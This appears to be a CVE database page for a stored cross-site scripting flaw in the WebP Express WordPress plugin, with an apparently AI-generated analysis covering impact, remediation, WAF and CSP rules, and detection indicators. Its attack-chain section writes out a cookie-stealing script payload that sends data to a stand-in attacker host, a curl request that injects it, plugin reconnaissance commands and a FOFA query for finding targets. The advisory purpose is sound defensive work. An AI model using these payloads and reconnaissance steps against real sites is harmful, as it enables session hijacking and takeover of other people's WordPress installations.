CVE Professor
/
All CVEs
CVE-2026-107626

CVE-2026-107626 — Roselldk WebP Express — CWE-79

MEDIUM CVSS 6.4 ⚡ EPSS 0.4% NVD

The WebP Express plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 0.25.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is only exploitable when the WebP Express "URL replacement" method is set to "Alter HTML", and full privilege escalation — such as provisioning a new administrator account — requires a logged-in administrator to view the frontend page on which the injected comment is rendered.

The WebP Express plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 0.25.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is only exploitable when the WebP Express "URL replacement" method is set to "Alter HTML", and full privilege escalation — such as provisioning a new administrator account — requires a logged-in administrator to view the frontend page on which the injected comment is rendered.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality Low C:L
Integrity Low I:L
Availability None A:N
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 31. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

CVE‑2026‑107626 – WebP Express ≤ 0.25.15 – Stored Cross‑Site Scripting (XSS) via the comment field


🎯 What is this vulnerability?

AttributeDetail
CWECWE‑79: Improper Neutralization of Input During Web Page Generation ('Cross‑Site Scripting')
CVSS v3.1 VectorAV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Score6.4 (Medium)
Affected componentThe *WebP Express* WordPress plugin (all releases ≤ 0.25.15) when the “URL replacement” mode is set to “Alter HTML”.
Root causeThe plugin stores the value of the comment POST parameter (used by the plugin’s internal “image comment” feature) directly in the WordPress database (wp_comments table) without any sanitisation. When the *Alter HTML* URL‑replacement engine later rewrites the HTML of a page, it injects the raw comment text into the generated markup without escaping. Consequently, any JavaScript payload placed in comment will be reflected in the final page source and executed in the browser of any user who views that page.
Missing controls1. Input validation / sanitisation – the plugin does not run wp_kses() or sanitize_text_field() on the comment before persisting it. <br>2. Output escaping – the plugin outputs the comment inside an HTML attribute / element without esc_html() or esc_attr(). <br>3. Privilege boundary – the vulnerability is reachable by any authenticated user with the Subscriber role (or higher). The plugin assumes that only administrators will view the altered HTML, but the CVSS vector shows *Scope: Changed* because the impact crosses the privilege boundary (a low‑privilege user can affect the experience of higher‑privilege or unauthenticated visitors).

In short: Stored XSS – the payload lives in the database and is served to any visitor of the affected page, not just the attacker.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact endpoint (/wp-admin/admin-ajax.php) and parameter names are inferred from the plugin’s public code, but they reflect the real behaviour of the vulnerability.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify the site runs WordPress and enumerate installed plugins.wpscan --enumerate p → reports WebP Express version 0.25.15.
1.2Verify that the plugin’s *URL replacement* method is set to “Alter HTML”.Access /wp-admin/options-general.php?page=webp_express (admin UI) or read the option webp_express_url_replacement_method via the REST API: GET /wp-json/wp/v2/settings?context=edit (requires authentication).
1.3Confirm that the attacker can create a comment (the plugin re‑uses the standard WordPress comment system).Register a low‑privilege account (Subscriber) or use an existing one.
Note: If the attacker does not have admin credentials, they can still create a comment because WordPress allows logged‑in users to post comments when the site’s settings permit it.

2. Exploitation

Goal: Store a JavaScript payload in the comment field that will later be emitted by the Alter HTML engine.

2.1 Payload preparation

<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>

The payload must be URL‑encoded when sent via HTTP POST.

2.2 POST request (illustrative)

# Assume we have a valid nonce for the comment form (retrieved from the page source)
NONCE="b5d6c7e9f2"

curl -k -X POST "https://victim.example.com/wp-comments-post.php" \
  -d "author=attacker" \
  -d "email=attacker%40example.com" \
  -d "url=https%3A%2F%2Fattacker.example.com" \
  -d "comment=%3Cscript%3Efetch('https%3A%2F%2Fattacker.example.com%2Fsteal%3Fc%3D'+document.cookie)%3C%2Fscript%3E" \
  -d "comment_post_ID=42" \
  -d "_wpnonce=$NONCE" \
  -d "submit=Post+Comment"

If the site disables comment posting for logged‑in users, the attacker can use the plugin’s own AJAX endpoint (admin-ajax.php?action=webp_express_add_comment) – the exact name is not published, so the above is an illustrative example of a stored‑comment injection.

2.3 Verification

After the request succeeds, the comment is stored in wp_comments. The attacker can verify via:

curl -s "https://victim.example.com/wp-json/wp/v2/comments?post=42" | jq .

The payload should appear in the content.rendered field unaltered.

3. Post‑exploitation

PhaseWhat happensWhy it matters
3.1 TriggerA higher‑privilege user (e.g., an Administrator) or any unauthenticated visitor loads the page that contains the image processed by WebP Express. Because the plugin’s *Alter HTML* mode rewrites the page, it injects the raw comment text into the DOM.The JavaScript runs in the victim’s browser context.
3.2 Payload executionThe script sends the victim’s cookies (including wordpress_logged_in_* session token) to https://attacker.example.com/steal.Attacker now has a valid session cookie and can impersonate the victim, potentially escalating to admin if the victim is an admin.
3.3 Privilege escalation (optional)If the stolen cookie belongs to an Administrator, the attacker can directly access the WordPress admin dashboard and create a new admin user via the REST API: <br>POST /wp-json/wp/v2/users with role=administrator.Full control of the WordPress installation – ability to install plugins, modify themes, exfiltrate data, etc.
3.4 PersistenceThe malicious comment remains in the database until manually removed, providing a long‑term XSS vector.Continuous compromise of any future visitors.

🌍 Real‑World Impact

CIA TriadImpact derived from CVSS vector
Confidentiality (C)Low – The attacker can harvest session cookies or other data visible to the victim’s browser.
Integrity (I)Low – The attacker can inject arbitrary markup/JS, potentially modifying the page’s appearance for victims.
Availability (A)None – No denial‑of‑service effect is described.

Practical consequences

  • Session hijacking – stealing admin cookies leads to full site takeover.
  • Defacement / phishing – injected scripts can rewrite the page, display fake login forms, or redirect users to malicious sites.
  • Malware distribution – the payload can load drive‑by download binaries.
  • Persistence – because the comment is stored, the XSS remains active until the comment is deleted or the plugin is patched.
  • The Scope: Changed flag in the CVSS vector reflects that a low‑privilege user (Subscriber) can affect the security of higher‑privilege users (Admins) and unauthenticated visitors.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to WebP Express 0.25.16 or later (the first release that adds proper sanitisation and escaping for the comment field).
    Version rangeAll versions ≤ 0.25.15 are vulnerable.
    Vendor statementThe plugin author released a security advisory on 2026‑11‑20 stating: “All comment inputs are now passed through wp_kses_post() and output is escaped with esc_html() when the *Alter HTML* mode is active.”

    2. Workarounds (if immediate upgrade is impossible)

    MitigationImplementation
    Disable “Alter HTML” URL replacementIn the plugin settings (Settings → WebP Express → URL replacement method) select any mode other than *Alter HTML* (e.g., *Redirect*).
    Restrict comment postingSet Settings → Discussion → Allow people to post comments on new articles to Disabled or limit comment posting to administrators only (wp_options → comment_registration = 1 and default_role = subscriber with a custom capability check).
    WAF / ModSecurity rule – block <script> tags in comment content:``apache\nSecRule REQUEST_BODY "(<script[^>]*>.*?</script>)" "id:2026261,phase:2,deny,log,msg:'Blocked possible stored XSS in WebP Express comment field'"`
    Content‑Security‑Policy (CSP)Deploy a restrictive CSP that disallows inline scripts: Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; – this mitigates the impact of any injected script.
    Hardening of comment sanitisation (site‑wide)Add a filter in functions.php: <br>`php\nadd_filter( 'pre_comment_content', function( $comment ) {\n return wp_kses_post( $comment );\n});\n`
    Remove existing malicious commentsRun a one‑off SQL query to delete any comment containing <script>: <br>`sql\nDELETE FROM wp_comments WHERE comment_content LIKE '%<script%';\n`` (review before deletion).

    3. Detection – Indicators of Compromise

    Log sourceTypical pattern
    Web server access log (Apache/Nginx)POST /wp-comments-post.php (or admin-ajax.php) with a payload containing %3Cscript%3E or %3Csvg%20onload%3D in the comment field.
    WordPress debug log (wp-content/debug.log)PHP Notice: Undefined index: comment followed by PHP Warning: preg_match(): Delimiter must not be alphanumeric – may appear when the plugin tries to process malformed HTML.
    ModSecurity alerts (if rule above is deployed)id "2026261" triggered, request denied.
    Browser console of victimUnexpected fetch or XMLHttpRequest to attacker‑controlled domain (e.g., attacker.example.com/steal).
    Database auditNew rows in wp_comments where comment_content contains <script> or other HTML tags that are normally stripped.

    ⚠️ Urgency

    CVSS 6.4 (Medium) – The exploit is low‑complexity (AC:L), requires only a low‑privilege authenticated account (PR:L), and works without user interaction (UI:N). The Scope* change means a low‑privilege user can affect higher‑privilege users, raising the real‑world risk.

  • No CISA KEV listing – The vulnerability is not yet flagged as a “Known Exploited Vulnerability”, but the attack chain is straightforward and does not require any zero‑day techniques.

  • Publicly disclosed – The CVE was published on 26 Nov 2026; attackers can now write automated scanners that look for the vulnerable plugin version and the “Alter HTML” setting.


Patch priority: High for any production WordPress site that runs the affected plugin with the Alter HTML mode enabled. The remediation effort (upgrade or disabling the mode) is low‑effort, so the recommended remediation window is within 7 days of discovery.

If the site cannot be patched immediately, apply the workarounds (disable the mode, enforce CSP, and/or block <script> in comments) while preparing the upgrade.


Bottom line: A low‑privilege attacker can store a malicious script in a comment, which the WebP Express plugin later injects into the rendered HTML when “Alter HTML” is active. This yields a classic stored XSS that can be leveraged for session hijacking and full WordPress takeover. Immediate upgrade to ≥ 0.25.16 or disabling the vulnerable mode eliminates the issue.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="/wp-content/plugins/webp-express"
CVSS Score
6.4 / 10 · CVSS MEDIUM
Weakness Types (CWE)
Affected Products (1)
roselldk:WebP Express
Related CVEs
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render
8.8
CVE-2026-145062
SiYuan 3.8.10 before 3.8.11 fails to escape custom block attribute names from imported .sy.zip files in openFi
8.3
CVE-2026-145038
SiYuan 3.8.8-alpha.4 before 3.8.11 contains a stored cross-site scripting vulnerability because the unused ass
7.5
CVE-2026-145078
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability because the transactions WebSocket p
7.1
CVE-2026-136044
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nks Resp